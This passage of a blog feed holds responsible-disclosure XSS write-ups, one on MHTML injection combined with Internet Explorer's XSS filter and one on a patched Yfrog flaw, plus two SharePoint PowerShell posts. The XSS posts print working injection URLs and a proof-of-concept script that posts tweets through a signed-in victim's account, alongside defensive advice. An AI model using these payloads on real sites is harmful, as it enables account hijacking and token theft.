that the whole iframe redirect / document.domain spectacle did point out something important. While I was discussing the anomaly in MHTML's XMLHttp request with a friend of mine, &lt;a href="http://twitter.com/steike" target="_blank"&gt;Erling Ellingsen&lt;/a&gt;, he pointed out that Internet Explorer's own XSS filter often can be used against itself, in order to disable pieces of scripts on a page.&lt;br /&gt;&lt;br /&gt;Imagine that you have a page with a CSRF token, lets call it secret.html, at http://services.somedomain.com:&lt;pre class="brush: html"&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;script&amp;gt;document.domain = &amp;quot;somedomain.com&amp;quot;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;SecretToken&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt&lt;/pre&gt;On this server, there would be a page somehow MHTML XSS exploitable. The following is then injected into it (quoted-printable, rather than base64 encoded, for readability):&lt;pre class="brush: html"&gt;Content-Type: Multipart/related; boundary=_bounds&lt;br /&gt;&lt;br /&gt;--_bounds&lt;br /&gt;Content-Location: foo&lt;br /&gt;Content-Transfer-Encoding: QUOTED-PRINTABLE&lt;br /&gt;&lt;br /&gt;&amp;lt;body&amp;gt;&amp;lt;iframe&lt;br /&gt;    onload=3D&amp;quot;javascript:alert(this.contentWindow.document.body.innerText)&amp;quot; &lt;br /&gt;    src=3D&amp;quot;http://services.somedomain.com/secret.html&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/body&amp;gt;&lt;br /&gt;--_bounds--&lt;/pre&gt;Now because of the document.domain="somedomain.com" of the secret.html page, the script wouldn't be able to retrieve the CSRF token. For the service provider, this is definitely a good thing, as it (usually) adds another layer of protection. What the service provider didn't think of, however, was Internet Explorer's hyperactive XSS filter.&lt;br /&gt;&lt;br /&gt;If you changed the url requested in the iframe to:&lt;pre class="brush: html"&gt;&amp;lt;body&amp;gt;&amp;lt;iframe&lt;br /&gt;    onload=3D&amp;quot;javascript:alert(this.contentWindow.document.body.innerText)&amp;quot; &lt;br /&gt;    src=3D&amp;quot;http://services.somedomain.com/secret.html?hi=3D&amp;lt;script&amp;gt;document.domain =3D %22somedomain.com%22&amp;lt;/script&amp;gt;&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/body&amp;gt&lt;/pre&gt;Then Internet Explorer would parse the page, looking for any signs of scripts similar to the block in the query string. Upon finding this in secret.html, it would believe that it got there because of the query string, and throw a bunch of pound signs into the tags and code -- rendering it useless. The iframe's document would consequently no longer be restricted to somedomain.com, and would be readable from the MHTML's script.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Final thoughts&lt;/h3&gt;&lt;br /&gt;There's a definitive lesson to be learnt here. If you rely on scripts to restrict requests to specific domains, prevent iframe embedding, or similar: be certain to throw some random garbage into your script block, while it is generated server side. That said, in browsers other than Internet Explorer, the iframe could be declared &lt;a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-iframe-element.html#attr-iframe-sandbox" target="_blank"&gt;sandboxed&lt;/a&gt;, to prevent script execution within it. If you still want to go down this obscure security trail, countering that would in some browsers be possible with&lt;pre class="brush: html"&gt;&amp;lt;noscript&amp;gt;&amp;lt;meta http-equiv=&amp;quot;X-Frame-Options&amp;quot; content=&amp;quot;deny&amp;quot; /&amp;gt;&amp;lt;/noscript&amp;gt;&lt;/pre&gt;... but I won't follow you down there.&lt;br /&gt;&lt;br /&gt;When it comes to MHTML, there's not much to do, short of either disabling \r\n in query input, specifically removing the MHTML headers or simply adding an extra \r\n right after the HTTP header. Generally speaking, it's a very good idea to be somewhat restrictive even with callbacks given to jsonp services, and especially so if you don't pass the &lt;a href="http://htaccess.wordpress.com/2009/09/22/x-content-type-options-nosniff-header/" target="_blank"&gt;X-Content-Type-Options: nosniff&lt;/a&gt; HTTP header.&lt;img src="http://feeds.feedburner.com/~r/blogspot/uykS/~4/bpm1jzbEPa0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.codefornuts.com/feeds/4640391774197721153/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1575476679976002386&amp;postID=4640391774197721153" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/4640391774197721153?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/4640391774197721153?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/uykS/~3/bpm1jzbEPa0/xss-awareness-2-internet-explorer-mhtml_11.html" title="XSS Awareness #2: Internet Explorer, MHTML and the case of Twitter's promo service" /><author><name>Einar Otto Stangvik</name><uri>http://www.blogger.com/profile/14646027402573050232</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://4.bp.blogspot.com/-GDOGqW4ZeyI/UQaOpvhJzaI/AAAAAAAAEeU/BvI3SFkYsII/s220/23b827c76b7eebbb1936f905a7ba2e24.jpeg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.codefornuts.com/2011/02/xss-awareness-2-internet-explorer-mhtml_11.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C08BSH08fCp7ImA9Wx9bF0s.&quot;"><id>tag:blogger.com,1999:blog-1575476679976002386.post-6867384789018576727</id><published>2011-02-09T12:30:00.027+01:00</published><updated>2011-02-27T00:10:59.374+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-27T00:10:59.374+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="best practices" /><category scheme="http://www.blogger.com/atom/ns#" term="XSS" /><title>XSS Awareness: How a Yfrog vulnerability could be used to post to Twitter</title><content type="html">If you missed either of the other articles in this series, they can be found here:&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.codefornuts.com/2011/02/xss-awareness-2-internet-explorer-mhtml_11.html"&gt;Internet Explorer, MHTML and the case of Twitter's promo service&lt;/a&gt;&lt;li&gt;&lt;a href="http://www.codefornuts.com/2011/02/xss-awareness-3-delivering-javascript.html"&gt;Injecting malicious SWFs through the Query String&lt;/a&gt;&lt;/ul&gt;&lt;br /&gt;&lt;h3&gt;Disclaimer&lt;/h3&gt;&lt;br /&gt;Following the MHTML disclosure in early January this year, I've involuntarily (as nerdtraps usually pan out) found myself back on an old mission: to improve bits of web insecurity in commonly used services. During this time I've sent more than a handful warning emails. As the issues are patched up, I hope to share the results with the rest who stumble by here.&lt;br /&gt;&lt;br /&gt;This isn't in any way meant to cause harm to the good name of the companies involved. XSS vulnerabilities are wildly simple to produce, and are also prone to appear because of sneaky browser flaws (such as the MHTML 'feature' in IE). As a web developer, it's next to impossible to stay up-to-date on all possible attack vectors, which is why I find it necessary to:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Use examples which make people realize what's at stake.&lt;br /&gt;&lt;li&gt;Provide as concrete and concise do's and dont's as possible based on said examples.&lt;/ol&gt;To not have you lose interest, I'll get to the point as quickly as possible.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;The case of Yfrog&lt;/h3&gt;&lt;br /&gt;At Yfrog, whose services many use to publish images and videos to Twitter, Facebook and such, there was a particular page: /tweet.php. It took two query parameters: &lt;b&gt;bg&lt;/b&gt; and &lt;b&gt;url&lt;/b&gt;. &lt;br /&gt;&lt;br /&gt;They were being injected into the page as follows:&lt;pre class="brush: html;"&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;    body {background-color: #--BG HERE--}&lt;br /&gt;&amp;lt;/style&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;script type='text/javascript'&amp;gt;tweetmeme_url='--URL HERE--';&amp;lt;/script&amp;gt;&amp;lt;script type='text/javascript' src='http://tweetmeme.com/i/scripts/button.js'&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/pre&gt;The parameters were washed so that single quotes, double quotes and backslashes were backslash escaped. Consequently, were you to pass &lt;pre&gt;';alert('hi');&lt;/pre&gt;.. to the url parameter, the output would read &lt;pre&gt;tweetmeme_url='\';alert(\'hi\');'&lt;/pre&gt;The characters } &amp;lt; &amp;gt; and /, on the other hand, weren't touched at all.&lt;br /&gt;&lt;br /&gt;That means two things. First of all, it would be possible to break out of the style block, and insert a rogue script block. Second, it would be possible to evade certain XSS filters, such as those in Chrome and Safari, by combining the bg and url parameters to comment out a section of the markup.&lt;br /&gt;&lt;br /&gt;Building an url such as&lt;pre&gt;http://yfrog.com/tweet.php?bg=0}%0a&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;alert(1)/*&amp;amp;url=*/&amp;lt;/script&amp;gt;&lt;/pre&gt;Would result in the following markup&lt;pre class="brush: html;"&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;    body {background-color: #0}&lt;br /&gt;&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;alert(1)/*}&lt;br /&gt;&amp;lt;/style&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;script type='text/javascript'&amp;gt;tweetmeme_url='*/&amp;lt;/script&amp;gt;';&amp;lt;/script&amp;gt;&amp;lt;script type='text/javascript' src='http://tweetmeme.com/i/scripts/button.js'&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/pre&gt;Notice that the part following the alert is commented out, and that the comment ends within the url assigned to tweetmeme_url. Browsers with built-in XSS protection that rely on matching the full content of a script block, with data found in the query string, would not be able to protect you against this. Consequently a popup with '1' would show.&lt;blockquote&gt;&lt;b&gt;Point #1&lt;/b&gt;: Whenever you have multiple input parameters, and these are written to different parts of the page, an attacker can use that to fool both your own internal parameter washing and XSS prevention mechanism, as well as that of the browser.&lt;/blockquote&gt;&lt;blockquote&gt;&lt;b&gt;Point #2&lt;/b&gt;: Parameter washing must always take into consideration exactly where the parameter will be rendered. Escaping backslashes, quotes and single quotes does work for string literals in scripts, but will prevent nothing at all for attributes or other html markup. Allowing newlines or carriage returns can similarly be used to break out of string literals in scripts. This can, given certain other conditions, result in vulnerabilities. For most html and attribute rendered parameters, MHTML not withstanding, newlines are harmless.&lt;/blockquote&gt;The only remaining obstacle -- or rather inconvenience -- in this case, is the escaping of single and double quotes. This means that a script meant to exploit the vulnerability would have to be written without any string literals. There are quite a few options on how to deal with this. First of all, it could be circumvented entirely by simply linking an external script. Second, most of the script could be a char code array, with just a minimal bootstrapper to decode and eval the actual script. Third, and this is an option I'll show you here, you could use the forward slash regex syntax to capture literals.&lt;pre class="brush: js"&gt;sc=function(r){return r.source};&lt;br /&gt;x=new XMLHttpRequest();&lt;br /&gt;x.open(sc(/POST/),sc(/http%3A%2F%2Fyfrog.com%2Fposter.php/),false);&lt;br /&gt;x.setRequestHeader(sc(/Content-Type/),sc(/application%2Fx-www-form-urlencoded/));&lt;br /&gt;x.send(sc(/message%3DXSSTWEET%26type%5B%5D%3Dt%26oauth%3D1%26forcelogin/));&lt;/pre&gt;This is actually the full proof of concept script I injected into the page, which resulted in a tweet through the account I had signed into Yfrog with.&lt;blockquote&gt;&lt;b&gt;Point #3&lt;/b&gt;: Disallowing certain characters is nothing more than an inconvenience to an attacker, if he/she has first managed to inject something interpreted as script. Even all characters converted to uppercase, in a final effort to avoid script interpretation, can easily be worked around. See &lt;a href='http://adamcecc.blogspot.com/2011/01/javascript.html' target='_blank'&gt;this page&lt;/a&gt; for examples from BlackHat DC.&lt;/blockquote&gt;&lt;blockquote&gt;&lt;b&gt;Point #4&lt;/b&gt;: When session cookies are in use, be sure to make them httponly. Cookies available from javascript are all too likely to be stolen and misused. Adding to this, cookies should never span a wider range of subdomains than necessary: If your application lives on the top domain, let the cookies be scoped to that - and that alone.&lt;/blockquote&gt;&lt;h4&gt;Proof of concept screencast&lt;/h4&gt;This shows how an attack could play out. Notice that the proof of concept page I visit shows no error message, or visual indication of what goes down in the background.&lt;br /&gt;&lt;br /&gt;&lt;object id="scPlayer" class="embeddedObject" width="575" height="400" type="application/x-shockwave-flash" data="http://content.screencast.com/users/einaros/folders/Jing/media/079fff8c-5dca-4f9c-ae80-68f92ff80bcb/jingh264player.swf" &gt; &lt;param name="movie" value="http://content.screencast.com/users/einaros/folders/Jing/media/db808531-2910-45ee-87f7-ee777988d4e0/jingh264player.swf" /&gt; &lt;param name="quality" value="high" /&gt; &lt;param name="bgcolor" value="#FFFFFF" /&gt; &lt;param name="flashVars" value="thumb=http://content.screencast.com/users/einaros/folders/Jing/media/079fff8c-5dca-4f9c-ae80-68f92ff80bcb/FirstFrame.jpg&amp;containerwidth=1035&amp;containerheight=723&amp;advseek=true&amp;content=http://content.screencast.com/users/einaros/folders/Jing/media/079fff8c-5dca-4f9c-ae80-68f92ff80bcb/00000002.mp4&amp;blurover=false" /&gt;&lt;br /&gt; &lt;param name="allowFullScreen" value="true" /&gt; &lt;param name="scale" value="showall" /&gt; &lt;param name="allowScriptAccess" value="always" /&gt; &lt;param name="base" value="http://content.screencast.com/users/einaros/folders/Jing/media/db808531-2910-45ee-87f7-ee777988d4e0/" /&gt; &lt;iframe type="text/html" frameborder="0" scrolling="no" style="overflow:hidden;" src="http://www.screencast.com/users/einaros/folders/Jing/media/db808531-2910-45ee-87f7-ee777988d4e0/embed" height="400" width="575" &gt;&lt;/iframe&gt; &lt;/object&gt;&lt;br /&gt;&lt;h4&gt;Final thoughts&lt;/h4&gt;I have to commend Yfrog for looking into this quickly. With service providers such as Yfrog, and the position they hold in the market -- as well as towards other services through inter-service trust -- it's vital that issues are corrected as fast as possible.&lt;br /&gt;&lt;br /&gt;This brings me to a point on new web services in general. Bridging the gap between the various sites you use, trusting everyone to contact everyone, and always staying signed in to one or more of the services; is bound to weaken your overall level of security. I highly recommend not staying logged in anywhere, for longer than necessary. I also recommend the usage of NotScript / NoScript and similar browser addins. Although only occasionally effective, keeping the circle of script sources you trust tight does help. In the case of XSS attacks where external scripts are being loaded from evil CDN, a user of NoScript / NotScript / similar would not be affected unless he trusted those CDNs specifically.&lt;img src="http://feeds.feedburner.com/~r/blogspot/uykS/~4/3-FCVwH0gss" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.codefornuts.com/feeds/6867384789018576727/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1575476679976002386&amp;postID=6867384789018576727" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/6867384789018576727?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/6867384789018576727?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/uykS/~3/3-FCVwH0gss/xss-awareness-how-yfrog-could-be-used.html" title="XSS Awareness: How a Yfrog vulnerability could be used to post to Twitter" /><author><name>Einar Otto Stangvik</name><uri>http://www.blogger.com/profile/14646027402573050232</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://4.bp.blogspot.com/-GDOGqW4ZeyI/UQaOpvhJzaI/AAAAAAAAEeU/BvI3SFkYsII/s220/23b827c76b7eebbb1936f905a7ba2e24.jpeg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.codefornuts.com/2011/02/xss-awareness-how-yfrog-could-be-used.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ak8MQn86eip7ImA9Wx9RE08.&quot;"><id>tag:blogger.com,1999:blog-1575476679976002386.post-328548857927445909</id><published>2010-12-14T11:00:00.003+01:00</published><updated>2010-12-14T13:14:43.112+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-12-14T13:14:43.112+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="SharePoint 2010" /><category scheme="http://www.blogger.com/atom/ns#" term="PowerShell" /><title>Dissecting the SharePoint PowerShell Assignment Collections</title><content type="html">With SP2010, Microsoft introduced PowerShell cmdlets as a replacement for / alternative to stsadm. Along with this, they brought SPAssignmentCollection, to minimize the impact of forgetting to dispose many of the SharePoint objects.&lt;br /&gt;&lt;br /&gt;It's usage is simple enough: Start-SPAssignment and Stop-SPAssignment.&lt;br /&gt;They can both be scoped Global, SemiGlobal and Local.&lt;br /&gt;&lt;br /&gt;Locally scoped assignment collections would pan out such as&lt;pre class="brush: text;"&gt;$gc = start-spassignment&lt;br /&gt;$web = ($gc | Get-SPWeb http://someaddress)&lt;br /&gt;# do something with $web&lt;br /&gt;$gc | stop-assignment&lt;br /&gt;&lt;/pre&gt;I won't spend more time going into details about usage - other blogs have done that already. And if you're curious, "get-help start-spassignment -full" goes a long way.&lt;br /&gt;&lt;br /&gt;What's interesting, though, is what happens behind the scenes. Take SPWeb instantiation as an example: do we even need to pass an assignment collection, for trivial usage? The answer is "not necessarily".&lt;br /&gt;&lt;br /&gt;The reason for this is the way the PowerShell bindings deal with the SharePoint objects. Whenever you open an SPWeb, such as&lt;pre class="brush:text;"&gt;Get-SPWeb http://address&lt;/pre&gt;.. what happens is that a SPSite object will be instantiated, and OpenWeb will be called on that, with the supplied url. SPWeb's constructor will pass itself back down to the SPSite, where it will be stored in a list of "owned" web instances. When SPSite.Dispose is called, all these owned instances will be disposed / closed as well.&lt;br /&gt;&lt;br /&gt;Back in the PowerShell bindings, the SPSite has been constructed, and an SPWeb retrieved. This is the object returned to the caller. But before returning, the Get-SPWeb cmdlet will check for an active assignment collection - and upon not finding one: close the SPSite. Effectively, Get-SPWeb will return a disposed object, and no memory will leak.&lt;br /&gt;&lt;br /&gt;This all holds true for opening a web, and reading certain already-initialized properties (such as url and id).&lt;br /&gt;&lt;br /&gt;As soon as you start reading or writing other properties - even reading something as trivial as Title - the SPWeb will be re-opened, and kept open. The same goes for any nested instantiation / opening, such as enumerating child webs through SPWeb.Webs. You can verify this yourself, by checking the hidden "m_closed" field on the SPWeb instance, such as:&lt;pre class="brush:text;"&gt;function is-closed($value) {&lt;br /&gt;    if ($value -is [microsoft.sharepoint.spsite]) {&lt;br /&gt;        $value.gettype().getfield(&amp;quot;m_Request&amp;quot;, [reflection.bindingflags]::nonpublic -bor [reflection.bindingflags]::instance).getvalue($value) -eq $null&lt;br /&gt;    }&lt;br /&gt;    elseif ($value -is [microsoft.sharepoint.spweb]) {&lt;br /&gt;        [boolean]::parse($value.gettype().getfield(&amp;quot;m_closed&amp;quot;, [reflection.bindingflags]::nonpublic -bor [reflection.bindingflags]::instance).getvalue($value))&lt;br /&gt;    }&lt;br /&gt;    else {&lt;br /&gt;        throw &amp;quot;invalid type&amp;quot;&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$w = get-spweb http://address&lt;br /&gt;$w.id&lt;br /&gt;is-closed $w    # outputs true&lt;br /&gt;&lt;br /&gt;$w = get-spweb http://address&lt;br /&gt;$w.title&lt;br /&gt;is-closed $w    # outputs false&lt;br /&gt;&lt;/pre&gt;Similarly, for child enumeration, and given the "is-closed" function above, the following will yield a count equal to the number of child webs in the web it's targetting. In other words, we'll quickly have a bunch of instances leaking memory.&lt;pre class="brush:text;"&gt;$w = get-spweb http://address&lt;br /&gt;$a = @()&lt;br /&gt;$w.webs | %{ $a += $_ }&lt;br /&gt;($a | ?{ (is-closed $_) -eq $false } | measure-object).count&lt;br /&gt;&lt;/pre&gt;So this is where we'll really see the benefit of using assignment collections. They'll not only properly dispose of any opened instance returned by e.g. Get-SPWeb; they also take care of nested instantiation and retrieval.&lt;br /&gt;&lt;br /&gt;This means that once we wrap the above block with calls to Start-SPAssignment and Stop-SPAssignment, the resulting "still open SPWebs" count should be 0:&lt;pre class="brush:text;"&gt;spgc {&lt;br /&gt;    $w = get-spweb http://address&lt;br /&gt;    $a = @()&lt;br /&gt;    $w.webs | %{ $a += $_ }&lt;br /&gt;    set-variable -scope global -name a -value $a&lt;br /&gt;}&lt;br /&gt;($a | ?{ (is-closed $_) -eq $false } | measure-object).count&lt;br /&gt;&lt;/pre&gt;The trick here is the "spgc" function, which takes a scriptblock and wraps it with a global assignment collection:&lt;pre class="brush:text;"&gt;function spgc([ScriptBlock]$block) {&lt;br /&gt;    trap {&lt;br /&gt;        Stop-SPAssignment -Global&lt;br /&gt;    }&lt;br /&gt;    Start-SPAssignment -Global&lt;br /&gt;    &amp; $block&lt;br /&gt;    Stop-SPAssignment -Global&lt;br /&gt;}&lt;/pre&gt;Stop-SPAssignment manages to dispose the enumerated child webs not by taking note of each of them individually, but by disposing the SPSite they were all retrieved from. This is taken care of by the SharePoint PowerShell bindings, which add all disposable objects returned by a cmdlet to a global assignment collection, if one is defined.&lt;br /&gt;&lt;br /&gt;While this collection of returned disposable objects is what makes Stop-SPAssignment do its job, it is also its Achilles' heel: For what happens when the object returned by the PowerShell cmdlets isn't a disposable object, but it's used to retrieve something that's disposable?&lt;pre class="brush:text;"&gt;spgc {&lt;br /&gt;    $wa = get-spwebapplication http://address&lt;br /&gt;    $s = $wa.sites[0] # open the first site in the web application&lt;br /&gt;    set-variable -scope global -name site -value $s&lt;br /&gt;    is-closed $s&lt;br /&gt;    $s.allwebs # causes the site to be opened&lt;br /&gt;    is-closed $s&lt;br /&gt;}&lt;br /&gt;is-closed $site&lt;/pre&gt;SPWebApplication instances aren't disposable, but you could easily find yourself using one - in PowerShell - to enumerate all sites in a certain webapp. If you do so, and call anything on any of the sites retrieved, which cause them to be brought to an open state, they will &lt;b&gt;not&lt;/b&gt; be disposed by calling Stop-SPAssignment. As such, the last script block above will show that the SPSite object retrieved remains open after leaving the spgc block.&lt;br /&gt;&lt;br /&gt;So, in summary - do use Start-SPAssignment and Stop-SPAssignment in long-running PowerShell sessions / scripts, but pay close attention to their limitations as well as their powers.&lt;img src="http://feeds.feedburner.com/~r/blogspot/uykS/~4/AadJvnpv0IM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.codefornuts.com/feeds/328548857927445909/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1575476679976002386&amp;postID=328548857927445909" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/328548857927445909?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/328548857927445909?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/uykS/~3/AadJvnpv0IM/dissecting-sharepoint-powershell.html" title="Dissecting the SharePoint PowerShell Assignment Collections" /><author><name>Einar Otto Stangvik</name><uri>http://www.blogger.com/profile/14646027402573050232</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://4.bp.blogspot.com/-GDOGqW4ZeyI/UQaOpvhJzaI/AAAAAAAAEeU/BvI3SFkYsII/s220/23b827c76b7eebbb1936f905a7ba2e24.jpeg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.codefornuts.com/2010/12/dissecting-sharepoint-powershell.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEQCRn4_fSp7ImA9Wx9REkk.&quot;"><id>tag:blogger.com,1999:blog-1575476679976002386.post-8638969121230946055</id><published>2010-12-13T09:32:00.022+01:00</published><updated>2010-12-13T13:12:47.045+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-12-13T13:12:47.045+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="SharePoint 2010" /><category scheme="http://www.blogger.com/atom/ns#" term="SharePoint" /><title>How logic flaws in SharePoint's Element activation process can break Lookup fields</title><content type="html">I came about this issue while I was - with as little markup as possible - deploying a Lookup field with a relative List reference. The list this field referenced was deployed with another feature in the wsp, upon which the field's feature depended. All in all a very simple setup, with dependencies that make sense.&lt;br /&gt;&lt;br /&gt;With Lookup and LookupMulti fields, you have two options when binding them to a second list. You can either specify the guid, or a relative url. Here's an excerpt from MSDN, describing the "List" attribute:&lt;br /&gt;&lt;blockquote style="font-size: 10pt; background: #EEEEEE; padding: 5px;"&gt;Optional Text. Used to identify the list that is the target of a lookup field (Type="Lookup").&lt;br /&gt;&lt;br /&gt;If the target list already exists, the value of the List attribute should be the string representation of the GUID (including braces) that identifies the target list. If the target is the same list as the one that the field belongs to, you can specify "Self".&lt;br /&gt;&lt;br /&gt;If the target list does not yet exist, the value of the List attribute can be a web-relative URL such as "Lists/My List" but only if the target list is created in the same feature as the one that creates the lookup field. In this case, the value of the List attribute on the Field element must be identical to the value of the Url attribute on the ListInstance element that creates the target list.&lt;br /&gt;&lt;/blockquote&gt;In my case, seeing as I have no idea what the target list's id is as the field's feature is activating, I'd use the relative url. But wait a minute - the quote above states "[...] can be a web-relative URL such as 'Lists/My List' &lt;b&gt;but only if the target list is created in the same feature as the one that creates the lookup field&lt;/b&gt;" - &lt;i&gt;What?&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;That would be bad for two reasons.&lt;ol&gt;&lt;li&gt;You'd be stuck putting a whole lot of functionality in one feature - something that'd generally make dependencies difficult to express, and impossible to get right.&lt;br /&gt;&lt;li&gt;Lists deployed already; the guids of which you'd have no way of getting into your element markup, unless you either wrote supporting code to update the xml dynamically, or create and deploy the field entirely by code .. Both of which defeat the purpose of the xml markup in the first place.&lt;/ol&gt;So we can all agree that this limitation would have been awful - had what's noted in the MSDN text actually been true. Because it most certainly isn't.&lt;br /&gt;&lt;br /&gt;After deploying a plethora of lookup fields - some exported from SharePoint, others written by hand - with varying luck referencing lists relatively, I got annoyed, and turned to Reflector.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Element activation process in detail&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Long story short, &lt;i&gt;SPFieldElement&lt;/i&gt; - which represents a &amp;lt;Field /&amp;gt; block in an elements.xml - has a method called &lt;i&gt;PerformFixUpIfLookUpField&lt;/i&gt;. It is responsible for looking up a referenced web (through the WebId attribute) and list (through the List attribute), based on either guids, relative references or - in the case of webid - the special "~sitecollection". If the list reference is a relative one, and the method manages to find the list in question, the list reference will be updated with an actual guid.&lt;br /&gt;&lt;br /&gt;So that's all fine and dandy. If &lt;i&gt;PerformFixUpIfLookUpField&lt;/i&gt; is called for a Field element, relative references will be dealt with. &lt;b&gt;If it's called&lt;/b&gt;. And this is where the catch is.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;PerformFixUpIfLookUpField&lt;/i&gt; is called from two places, and both are in the same method: &lt;i&gt;SPFieldElement&lt;/i&gt;'s &lt;i&gt;ElementActivated&lt;/i&gt;. From that method, &lt;i&gt;PerformFixUpIfLookUpField&lt;/i&gt; is called if, and only if, either of these statements hold true:&lt;ol&gt;&lt;li&gt;.. A field with the deployed field's id already exists on the site &lt;b&gt;and&lt;/b&gt; the field's Overwrite attribute is "true" &lt;b&gt;and&lt;/b&gt; the existing field isn't sealed or readonly.&lt;br /&gt;&lt;li&gt;.. The deployed field is in a sandboxed solution &lt;b&gt;or&lt;/b&gt; its Overwrite attribute is "true".&lt;/ol&gt;&lt;span style="color: darkred"&gt;This means that unless the Lookup field is deployed in a sandboxed solution, relative list references will &lt;b&gt;never&lt;/b&gt; be resolved if the &lt;b&gt;Overwrite&lt;/b&gt; attribute is anything but "true". That makes no sense. At all.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This makes me wonder, though - and do correct me if I'm wrong here. The Feature activation process strikes me as a central piece in the SharePoint code base, and judging by this logic flaw: not a single unit test was written to ensure its correctness.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;In Summary&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;So long as you specify Overwrite="true" for Field elements of type Lookup, LookupMulti, TaxonomyFieldType, etc., relative references will work. And you can completely disregard the "created in the same feature" statement in the MSDN reference.&lt;img src="http://feeds.feedburner.com/~r/blogspot/uykS/~4/Bh4bJKQoeqs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.codefornuts.com/feeds/8638969121230946055/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1575476679976002386&amp;postID=8638969121230946055" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/8638969121230946055?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/8638969121230946055?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/uykS/~3/Bh4bJKQoeqs/how-logic-flaws-in-sharepoints-element.html" title="How logic flaws in SharePoint's Element activation process can break Lookup fields" /><author><name>Einar Otto Stangvik</name><uri>http://www.blogger.com/profile/14646027402573050232</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://4.bp.blogspot.com/-GDOGqW4ZeyI/UQaOpvhJzaI/AAAAAAAAEeU/BvI3SFkYsII/s220/23b827c76b7eebbb1936f905a7ba2e24.jpeg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.codefornuts.com/2010/12/how-logic-flaws-in-sharepoints-element.html</feedburner:origLink></entry><entry 